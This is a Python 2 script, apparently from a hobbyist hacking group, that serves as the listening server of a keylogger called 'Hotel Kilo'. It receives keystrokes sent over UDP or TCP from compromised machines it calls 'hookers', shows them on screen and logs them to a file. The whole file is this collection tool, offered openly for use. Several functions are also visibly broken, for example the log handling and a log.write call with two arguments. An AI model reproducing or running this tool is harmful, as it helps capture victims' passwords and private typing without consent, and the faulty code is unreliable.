#-========================================================-
#  Post Intercept Module - Simple UDP/TCP listen server
#-========================================================-
# import os
import sys
import socket
import traceback

from time import strftime

__version__ = '0.2'

def help():
    ''' Displays a helpful message to stdout '''
    banner()
    print '\t~~~~~~~~~~~ d0t.Mayhem Proudly Presents ~~~~~~~~~~~\n'
    print 'Hotel Kilo: Post Intercept Module - v%s' % __version__
    print 'Usage:\n\tPim.py [mode] [options]'
    print 'Mode:'
    print '\t--tcp.........................Use TCP listen server'
    print '\t--udp.........................Use UDP listen server'
    print 'Options:'
    print '\t--port [number]...............Set port number'
    print '\t--shift.......................Display shift key presses'
    print '\t--file [path].................Create a log file at [path]'
    print '\t--help........................Display this message'
    
def banner():
    print '\t ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ '
    print '\t||H |||o |||t |||e |||l |||- |||K |||i |||l |||o ||'
    print '\t||__|||__|||__|||__|||__|||__|||__|||__|||__|||__||'
    print '\t|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|'

def createBroadcastSocket(port):
    ''' Creates a broadcast socket on "port", and returns its object '''
    network = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    network.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    network.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
    network.bind(('', port))
    return network

def createTcpSocket(url, port):
    ''' Creates a tcp socket and returns its object '''
    network = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    network.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    network.bind((url, port))
    network.listen(1)
    print ' [*] Server is listening on:', port
    return network

def startTcpListenServer(network):
    if fileOutput:
        createLogFile()
    while True:
        try:
            connection, clientAddress = network.accept()
            socketFile = connection.makefile('rw', 0)
            message = socketFile.readline().strip()
            if len(message) != 0:
                print 'message:', message
                if fileOutput:
                    writeMessage(message, clientAddress)
        except:
            print ' -- OMFG ERRORZ --'
            pass

def displayMessage(message, address):
    ''' Record a message from a client to file / stdout '''
    global previousKeyPress # Last non-ascii key pressed
    try:
        ascii = int(message)
        if len(previousKeyPress) > 1:
            sys.stdout.write('\n')
            previousKeyPress = ''
        if ascii == 8:
            sys.stdout.write('\b \b')
        elif ascii == 13:
            sys.stdout.write('\n')
        else:
            sys.stdout.write(chr(ascii)),
    except:
        global keyPressCount
        if 'shift' in message and displayShift == False:
            return
        if previousKeyPress != message:
            previousKeyPress = message
            keyPressCount = 1
            sys.stdout.write('\n[%s] x %d' % (message, keyPressCount)),
        else:
            sys.stdout.write('\b' * len(str(keyPressCount))),
            keyPressCount+=1
            sys.stdout.write('%d' % keyPressCount),
            
def writeMessage(message, address, log='hotel-kilo.log'):
    ''' Writes "message" to a log file, hotel-kil.log by default '''
    try:
        log.write('%s' % chr(int(message)))
    except:
        log.write('[%s]\n', message)

def createLogFile():
    '''  Creates a log file, and returns the file object '''
    try:
        log = open(sys.argv[sys.argv.index('--file') + 1], 'w')
        log.write('***** BEGIN LOG FILE (%s) *****\n\n' % strftime('%d-%m-%Y %H:%M:%S'))
    except IOError:
        print 'Error: The log file is not in a writable location'
        exit()
    return log

def startUdpListenServer(network):
    ''' Create a listen server using "network" '''
    oldAddress = ''
    if fileOutput:
        log = createLogFile()
    while True:
        try:
            message, address = network.recvfrom(8192)
            if str(address) != oldAddress:
                print '\n\t[!] Found hooker on: %s\n' % str(address)
                oldAddress = str(address)
            displayMessage(message, address)
            if fileOutput:
                writeMessage(message, address, log)
        except KeyboardInterrupt:
            print '\n Stopping server'
            exit(log)
        except:
            traceback.print_exc()
            continue

def exit(log=''):
    ''' Gracefully exit the program '''
    if fileOutput:
        log.write('***** END LOG FILE (%s) *****\n\n' % strftime('%d-%m-%Y %H:%M:%S'))
        log.close()
    sys.exit()

# -- [ main ] -------------------------------------------------------------------------------------
if __name__ == '__main__':
    previousKeyPress = ''
    displayShift = '--shift' in sys.argv
    fileOutput = '--file' in sys.argv
    if '--help' in sys.argv:
        help()
        exit()
    if '--port' in sys.argv:
        try:
            port = int(sys.argv[sys.argv.index('--port') + 1])
        except:
            print 'Error: %network is not a valid port, or is already in use!' % sys.argv[sys.argv.index('--port') + 1]
            exit()
    else:
        port = 2600 # Default port number
    if '--udp' in sys.argv:
        print '\n [*] Starting UDP listen server, press ctrl + break to exit...'
        network = createBroadcastSocket(port)
        print '\n [*] Waiting for hookers on port: %s' % port
        startUdpListenServer(network)
    elif '--tcp' in sys.argv:
        print '\n [*] Starting TCP listen server, press ctrl + break to exit...'
        network = createTcpSocket('', int(port))
        startTcpListenServer(network)
    else:
        print 'PEBKAC: You must select the listen server mode, see --help'
